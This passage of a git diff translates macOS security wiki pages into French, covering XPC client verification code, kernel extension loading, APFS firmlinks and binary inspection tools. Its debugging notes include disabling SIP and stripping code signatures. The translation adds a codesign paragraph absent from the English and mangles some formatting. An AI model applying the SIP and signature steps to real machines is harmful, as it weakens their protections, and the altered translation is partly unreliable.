[**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-## XPC Connecting Process Check +## Vérification de la connexion de processus XPC -When a connection is stablished to an XPC service, the server will check if the connection is allowed. These are the checks it would usually perform: +Lorsqu'une connexion est établie vers un service XPC, le serveur vérifie si la connexion est autorisée. Voici les vérifications qu'il effectue généralement : -1. Check if the connecting **process is signed with an Apple-signed** certificate (only given out by Apple). - * If this **isn't verified**, an attacker could can create a **fake certificate** to match any other check. -2. Check if the connecting process is signed with the **organization’s certificate**, (team ID verification). - * If this **isn't verified**, **any developer certificate** from Apple can be used for signing, and connect to the service. -3. Check if the connecting process **contains a proper bundle ID**. -4. Check if the connecting process has a **proper software version number**. - * If this **isn't verified,** an old, insecure clients, vulnerable to process injection could be used to connect to the XPC service even with the other checks in place. -5. Check if the connecting process has an **entitlement** that allows it to connect to the service. This is applicable for Apple binaries. -6. The **verification** must be **based** on the connecting **client’s audit token** **instead** of its process ID (**PID**) since the former prevents PID reuse attacks. - * Developers rarely use the audit token API call since it’s **private**, so Apple could **change** at any time. Additionally, private API usage is not allowed in Mac App Store apps. +1. Vérifier si le **processus de connexion est signé avec un certificat signé par Apple** (uniquement fourni par Apple). + * Si cela n'est pas vérifié, un attaquant peut créer un **faux certificat** pour correspondre à toute autre vérification. +2. Vérifier si le processus de connexion est signé avec le **certificat de l'organisation** (vérification de l'ID d'équipe). + * Si cela n'est pas vérifié, **n'importe quel certificat de développeur** d'Apple peut être utilisé pour la signature et la connexion au service. +3. Vérifier si le processus de connexion **contient un identifiant de bundle approprié**. +4. Vérifier si le processus de connexion a un **numéro de version logicielle approprié**. + * Si cela n'est pas vérifié, des clients anciens et non sécurisés, vulnérables à l'injection de processus, peuvent être utilisés pour se connecter au service XPC même si les autres vérifications sont en place. +5. Vérifier si le processus de connexion possède une **autorisation** qui lui permet de se connecter au service. Cela s'applique aux binaires Apple. +6. La **vérification** doit être **basée** sur le **jeton d'audit du client de connexion** plutôt que sur son identifiant de processus (**PID**) car le premier empêche les attaques de réutilisation de PID. + * Les développeurs utilisent rarement l'appel d'API de jeton d'audit car il est **privé**, donc Apple pourrait **le changer** à tout moment. De plus, l'utilisation d'API privées n'est pas autorisée dans les applications Mac App Store. -For more information about the PID reuse attack check: +Pour plus d'informations sur la vérification de l'attaque de réutilisation de PID : {% content-ref url="macos-pid-reuse.md" %} [macos-pid-reuse.md](macos-pid-reuse.md) {% endcontent-ref %} -### Code Examples +### Exemples de code -The server will implement this **verification** in a function called **`shouldAcceptNewConnection`**. - -{% code overflow="wrap" %} +Le serveur implémentera cette **vérification** dans une fonction appelée **`shouldAcceptNewConnection`**. ```objectivec - (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection { //Check connection @@ -46,9 +44,9 @@ The server will implement this **verification** in a function called **`shouldAc ``` {% endcode %} -The object NSXPCConnection has a **private** property **`auditToken`** (the one that should be used but could change) and a the **public** property **`processIdentifier`** (the one that shouldn't be used). +L'objet NSXPCConnection a une propriété **`auditToken`** **privée** (celle qui devrait être utilisée mais qui pourrait changer) et une propriété **`processIdentifier`** **publique** (celle qui ne devrait pas être utilisée). -The connecting process could be verified with something like: +Le processus de connexion peut être vérifié avec quelque chose comme: {% code overflow="wrap" %} ```objectivec @@ -68,7 +66,7 @@ SecCodeCheckValidity(code, kSecCSDefaultFlags, requirementRef); ``` {% endcode %} -If a developer doesn't want to check the version of the client, he could check that the client is not vulnerable to process injection at least: +Si un développeur ne veut pas vérifier la version du client, il pourrait au moins vérifier que le client n'est pas vulnérable à l'injection de processus : {% code overflow="wrap" %} ```objectivec @@ -91,10 +89,10 @@ if ((csFlags & (cs_hard | cs_require_lv)) { ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md index db5b1ddf0..fe47b8d4d 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md +++ b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md @@ -1,60 +1,48 @@ -# macOS Kernel Extensions +# Extensions de noyau macOS
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-## Basic Information +## Informations de base -Kernel extensions (Kexts) are **bundles** using **`.kext` extension** that are **loaded directly into the kernel space** of macOS, providing additional functionality to the core operating system. +Les extensions de noyau (Kexts) sont des **bundles** utilisant l'extension **`.kext`** qui sont **chargés directement dans l'espace du noyau** de macOS, fournissant des fonctionnalités supplémentaires au système d'exploitation de base. -### Requirements +### Exigences -Obviously, this is so powerful, it's complicated to load a kernel extension. These are the requirements of a kernel extension to be loaded: +Évidemment, c'est tellement puissant qu'il est compliqué de charger une extension de noyau. Voici les exigences pour qu'une extension de noyau soit chargée : -* Going into **recovery mode** Kexts need to be **allowed to be loaded**: +* En allant en mode de récupération, les Kexts doivent être **autorisés à être chargés** :
-* The Kext must be **signed with a kernel code signing certificate**, which can only be granted by **Apple**. Who will be **reviewing** in detail the **company** and the **reasons** why this is needed. -* The Kext also needs to be **notarized**, Apple will be able to check it for malware. -* Then, the **root user** is the one that can load the Kext and the files inside the bundle must belong to root. -* Finally, once trying to load it, the [**user will be prompted for confirmation**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html) and if accepted, the computer must **reboot** to load it. +* Le Kext doit être **signé avec un certificat de signature de code de noyau**, qui ne peut être accordé que par **Apple**. Qui va **examiner** en détail la **société** et les **raisons** pour lesquelles cela est nécessaire. +* Le Kext doit également être **notarisé**, Apple pourra le vérifier pour les logiciels malveillants. +* Ensuite, l'utilisateur **root** est celui qui peut charger le Kext et les fichiers à l'intérieur du bundle doivent appartenir à root. +* Enfin, une fois que l'on essaie de le charger, l'[**utilisateur sera invité à confirmer**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html) et si cela est accepté, l'ordinateur doit **redémarrer** pour le charger. -### Loading Process +### Processus de chargement -Back in Catalina it was like this: It's interesting to note that the **verification** process occurs on **userland**. However, only applications with the entitlement **`com.apple.private.security.kext-management`** can **ask the kernel** to **load an extension:** kextcache, kextload, kextutil, kextd, syspolicyd +De retour à Catalina, c'était comme ça : Il est intéressant de noter que le processus de **vérification** se produit sur **userland**. Cependant, seules les applications avec l'entitlement **`com.apple.private.security.kext-management`** peuvent **demander au noyau** de **charger une extension** : kextcache, kextload, kextutil, kextd, syspolicyd -1. **`kextutil`** cli **starts** the verification process to load an extension - * It'll talk to **`kextd`** sending using a Mach service -2. **`kextd`** will check several things, such as the signature - * It'll talk to **`syspolicyd`** to check if the extension can be loaded -3. **`syspolicyd`** **asks** the **user** if the extension hasn't be loaded previously - * **`syspolicyd`** will indicate the result to **`kextd`** -4. **`kextd`** will finally be able to indicate the **kernel to load the extension** +1. **`kextutil`** cli **démarre** le processus de vérification pour charger une extension + * Il parlera à **`kextd`** en envoyant en utilisant un service Mach +2. **`kextd`** vérifiera plusieurs choses, telles que la signature + * Il parlera à **`syspolicyd`** pour vérifier si l'extension peut être chargée +3. **`syspolicyd`** **demandera** à l'**utilisateur** si l'extension n'a pas été chargée précédemment + * **`syspolicyd`** indiquera le résultat à **`kextd`** +4. **`kextd`** pourra enfin indiquer au **noyau de charger l'extension** -If kextd is not available, kextutil can perform the same checks. +Si kextd n'est pas disponible, kextutil peut effectuer les mêmes vérifications. -## References +## Références * [https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/](https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/) - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - -
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md b/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md index 3c336e86d..023429090 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md @@ -1,42 +1,25 @@ -# macOS AppleFS +## Système de fichiers propriétaire Apple (APFS) -
+APFS, ou Apple File System, est un système de fichiers moderne développé par Apple Inc. qui a été conçu pour remplacer l'ancien système de fichiers hiérarchique plus (HFS+) en mettant l'accent sur **l'amélioration des performances, de la sécurité et de l'efficacité**. -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Certaines caractéristiques notables d'APFS comprennent : -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - -
- -## Apple Propietary File System (APFS) - -APFS, or Apple File System, is a modern file system developed by Apple Inc. that was designed to replace the older Hierarchical File System Plus (HFS+) with an emphasis on **improved performance, security, and efficiency**. - -Some notable features of APFS include: - -1. **Space Sharing**: APFS allows multiple volumes to **share the same underlying free storage** on a single physical device. This enables more efficient space utilization as the volumes can dynamically grow and shrink without the need for manual resizing or repartitioning. - 1. This means, compared with traditional partitions in file disks, t**hat in APFS different partitions (volumes) shares all the disk space**, while a regular partition usually had a fixed size. -2. **Snapshots**: APFS supports **creating snapshots**, which are **read-only**, point-in-time instances of the file system. Snapshots enable efficient backups and easy system rollbacks, as they consume minimal additional storage and can be quickly created or reverted. -3. **Clones**: APFS can **create file or directory clones that share the same storage** as the original until either the clone or the original file is modified. This feature provides an efficient way to create copies of files or directories without duplicating the storage space. -4. **Encryption**: APFS **natively supports full-disk encryption** as well as per-file and per-directory encryption, enhancing data security across different use cases. -5. **Crash Protection**: APFS uses a **copy-on-write metadata scheme that ensures file system consistency** even in cases of sudden power loss or system crashes, reducing the risk of data corruption. - -Overall, APFS offers a more modern, flexible, and efficient file system for Apple devices, with a focus on improved performance, reliability, and security. +1. **Partage d'espace** : APFS permet à plusieurs volumes de **partager le même espace de stockage libre sous-jacent** sur un seul dispositif physique. Cela permet une utilisation de l'espace plus efficace car les volumes peuvent se développer et se réduire dynamiquement sans avoir besoin de redimensionnement ou de repartitionnement manuel. + 1. Cela signifie, par rapport aux partitions traditionnelles dans les disques de fichiers, que dans APFS, différentes partitions (volumes) partagent tout l'espace disque, tandis qu'une partition régulière avait généralement une taille fixe. +2. **Instantanés** : APFS prend en charge la **création d'instantanés**, qui sont des instances **en lecture seule** du système de fichiers à un moment donné. Les instantanés permettent des sauvegardes efficaces et des retours système faciles, car ils consomment un espace de stockage minimal supplémentaire et peuvent être rapidement créés ou rétablis. +3. **Clones** : APFS peut **créer des clones de fichiers ou de répertoires qui partagent le même stockage** que l'original jusqu'à ce que le clone ou le fichier original soit modifié. Cette fonctionnalité offre un moyen efficace de créer des copies de fichiers ou de répertoires sans dupliquer l'espace de stockage. +4. **Chiffrement** : APFS prend en charge **nativement le chiffrement complet du disque** ainsi que le chiffrement par fichier et par répertoire, améliorant la sécurité des données dans différents cas d'utilisation. +5. **Protection contre les pannes** : APFS utilise un **schéma de métadonnées de copie sur écriture qui garantit la cohérence du système de fichiers** même en cas de perte de puissance soudaine ou de plantage du système, réduisant ainsi le risque de corruption des données. +Dans l'ensemble, APFS offre un système de fichiers plus moderne, flexible et efficace pour les appareils Apple, avec un accent sur l'amélioration des performances, de la fiabilité et de la sécurité. ```bash diskutil list # Get overview of the APFS volumes ``` - ## Firmlinks -The `Data` volume is mounted in **`/System/Volumes/Data`** (you can check this with `diskutil apfs list`). - -The list of firmlinks can be found in the **`/usr/share/firmlinks`** file. +Le volume `Data` est monté dans **`/System/Volumes/Data`** (vous pouvez vérifier cela avec `diskutil apfs list`). +La liste des firmlinks peut être trouvée dans le fichier **`/usr/share/firmlinks`**. ```bash cat /usr/share/firmlinks /AppleInternal AppleInternal @@ -44,17 +27,4 @@ cat /usr/share/firmlinks /Library Library [...] ``` - -On the **left**, there is the directory path on the **System volume**, and on the **right**, the directory path where it maps on the **Data volume**. So, `/library` --> `/system/Volumes/data/library` - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - -
+À gauche, il y a le chemin du répertoire sur le volume système, et à droite, le chemin du répertoire où il est mappé sur le volume de données. Ainsi, `/library` --> `/system/Volumes/data/library`. diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md index 074b93718..b78a0259f 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md @@ -1,28 +1,27 @@ -# macOS Apps - Inspecting, debugging and Fuzzing +# Applications macOS - Inspection, débogage et fuzzing
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-## Static Analysis +## Analyse statique ### otool - ```bash otool -L /bin/ls #List dynamically linked libraries otool -tv /bin/ps #Decompile application ``` - ### objdump +### objdump ```bash objdump -m --dylibs-used /bin/ls #List dynamically linked libraries objdump -m -h /bin/ls # Get headers information @@ -30,11 +29,9 @@ objdump -m --syms /bin/ls # Check if the symbol table exists to get function nam objdump -m --full-contents /bin/ls # Dump every section objdump -d /bin/ls # Dissasemble the binary ``` - ### jtool2 -The tool can be used as a **replacement** for **codesign**, **otool**, and **objdump**, and provides a few additional features. - +L'outil peut être utilisé en **remplacement** de **codesign**, **otool** et **objdump**, et offre quelques fonctionnalités supplémentaires. ```bash # Install brew install --cask jtool2 @@ -49,9 +46,9 @@ jtool2 -D /bin/ls # Decompile binary ARCH=x86_64 jtool2 --sig /System/Applications/Automator.app/Contents/MacOS/Automator ``` - ### Codesign +Codesign est une commande qui permet de signer numériquement des fichiers sur macOS. Cela garantit que le fichier n'a pas été modifié depuis sa signature et que l'identité de l'auteur est vérifiée. Les développeurs peuvent utiliser cette commande pour signer leurs applications et les distribuer en toute sécurité. Les attaquants peuvent également utiliser cette commande pour signer des fichiers malveillants et tromper les utilisateurs en leur faisant croire qu'ils sont sûrs. Il est donc important de vérifier la signature des fichiers avant de les exécuter. ```bash # Get signer codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier" @@ -68,105 +65,97 @@ spctl --assess --verbose /Applications/Safari.app # Sign a binary codesign -s toolsdemo ``` - ### SuspiciousPackage -[**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html) is a tool useful to inspect **.pkg** files (installers) and see what is inside before installing it.\ -These installers have `preinstall` and `postinstall` bash scripts that malware authors usually abuse to **persist** **the** **malware**. +[**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html) est un outil utile pour inspecter les fichiers **.pkg** (installateurs) et voir ce qu'il y a à l'intérieur avant de l'installer.\ +Ces installateurs ont des scripts bash `preinstall` et `postinstall` que les auteurs de logiciels malveillants utilisent généralement pour **persister** le **malware**. ### hdiutil -This tool allows to **mount** Apple disk images (**.dmg**) files to inspect them before running anything: - +Cet outil permet de **monter** des images disque Apple (**.dmg**) pour les inspecter avant d'exécuter quoi que ce soit : ```bash hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg ``` - -It will be mounted in `/Volumes` +Il sera monté dans `/Volumes` ### Objective-C -When a function is called in a binary that uses objective-C, the compiled code instead of calling that function, it will call **`objc_msgSend`**. Which will be calling the final function: +Lorsqu'une fonction est appelée dans un binaire qui utilise Objective-C, le code compilé, au lieu d'appeler cette fonction, appellera **`objc_msgSend`**. Qui appellera la fonction finale : ![](<../../../.gitbook/assets/image (560).png>) -The params this function expects are: +Les paramètres que cette fonction attend sont : -* The first parameter (**self**) is "a pointer that points to the **instance of the class that is to receive the message**". Or more simply put, it’s the object that the method is being invoked upon. If the method is a class method, this will be an instance of the class object (as a whole), whereas for an instance method, self will point to an instantiated instance of the class as an object. -* The second parameter, (**op**), is "the selector of the method that handles the message". Again, more simply put, this is just the **name of the method.** -* The remaining parameters are any **values that are required by the method** (op). +* Le premier paramètre (**self**) est "un pointeur qui pointe vers l'**instance de la classe qui doit recevoir le message**". Ou plus simplement, c'est l'objet sur lequel la méthode est invoquée. Si la méthode est une méthode de classe, il s'agira d'une instance de l'objet de classe (dans son ensemble), tandis que pour une méthode d'instance, self pointera vers une instance instanciée de la classe en tant qu'objet. +* Le deuxième paramètre, (**op**), est "le sélecteur de la méthode qui gère le message". Encore une fois, plus simplement, il s'agit simplement du **nom de la méthode**. +* Les paramètres restants sont toutes les **valeurs requises par la méthode** (op). -| **Argument** | **Register** | **(for) objc\_msgSend** | +| **Argument** | **Registre** | **(pour) objc\_msgSend** | | ----------------- | --------------------------------------------------------------- | ------------------------------------------------------ | -| **1st argument** | **rdi** | **self: object that the method is being invoked upon** | -| **2nd argument** | **rsi** | **op: name of the method** | -| **3rd argument** | **rdx** | **1st argument to the method** | -| **4th argument** | **rcx** | **2nd argument to the method** | -| **5th argument** | **r8** | **3rd argument to the method** | -| **6th argument** | **r9** | **4th argument to the method** | -| **7th+ argument** |

rsp+
(on the stack)

| **5th+ argument to the method** | +| **1er argument** | **rdi** | **self: objet sur lequel la méthode est invoquée** | +| **2ème argument** | **rsi** | **op: nom de la méthode** | +| **3ème argument** | **rdx** | **1er argument de la méthode** | +| **4ème argument** | **rcx** | **2ème argument de la méthode** | +| **5ème argument** | **r8** | **3ème argument de la méthode** | +| **6ème argument** | **r9** | **4ème argument de la méthode** | +| **7ème+ argument** |

rsp+
(sur la pile)

| **5ème+ argument de la méthode** | -### Packed binaries +### Binaires compressés -* Check for high entropy -* Check the strings (is there is almost no understandable string, packed) -* The UPX packer for MacOS generates a section called "\_\_XHDR" +* Vérifier l'entropie élevée +* Vérifier les chaînes (s'il n'y a presque aucune chaîne compréhensible, compressée) +* Le packer UPX pour MacOS génère une section appelée "\_\_XHDR" -## Dynamic Analysis +## Analyse dynamique {% hint style="warning" %} -Note that in order to debug binaries, **SIP needs to be disabled** (`csrutil disable` or `csrutil enable --without debug`) or to copy the binaries to a temporary folder and **remove the signature** with `codesign --remove-signature ` or allow the debugging of the binary (you can use [this script](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b)) +Notez que pour déboguer des binaires, **SIP doit être désactivé** (`csrutil disable` ou `csrutil enable --without debug`) ou pour copier les binaires dans un dossier temporaire et **supprimer la signature** avec `codesign --remove-signature ` ou autoriser le débogage du binaire (vous pouvez utiliser [ce script](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b)) {% endhint %} {% hint style="warning" %} -Note that in order to **instrument system binaries**, (such as `cloudconfigurationd`) on macOS, **SIP must be disabled** (just removing the signature won't work). +Notez que pour **instrumenter des binaires système**, (comme `cloudconfigurationd`) sur macOS, **SIP doit être désactivé** (juste supprimer la signature ne fonctionnera pas). {% endhint %} ### Hopper -#### Left panel +#### Panneau de gauche -In the left panel of hopper it's possible to see the symbols (**Labels**) of the binary, the list of procedures and functions (**Proc**) and the strings (**Str**). Those aren't all the strings but the ones defined in several parts of the Mac-O file (like _cstring or_ `objc_methname`). +Dans le panneau de gauche de Hopper, il est possible de voir les symboles (**Labels**) du binaire, la liste des procédures et fonctions (**Proc**) et les chaînes (**Str**). Ce ne sont pas toutes les chaînes, mais celles définies dans plusieurs parties du fichier Mac-O (comme _cstring ou_ `objc_methname`). -#### Middle panel +#### Panneau central -In the middle panel you can see the **dissasembled code**. And you can see it a **raw** disassemble, as **graph**, as **decompiled** and as **binary** by clicking on the respective icon: +Dans le panneau central, vous pouvez voir le **code désassemblé**. Et vous pouvez le voir sous forme de désassemblage **brut**, sous forme de **graphique**, sous forme de **décompilé** et sous forme de **binaire** en cliquant sur l'icône respective :
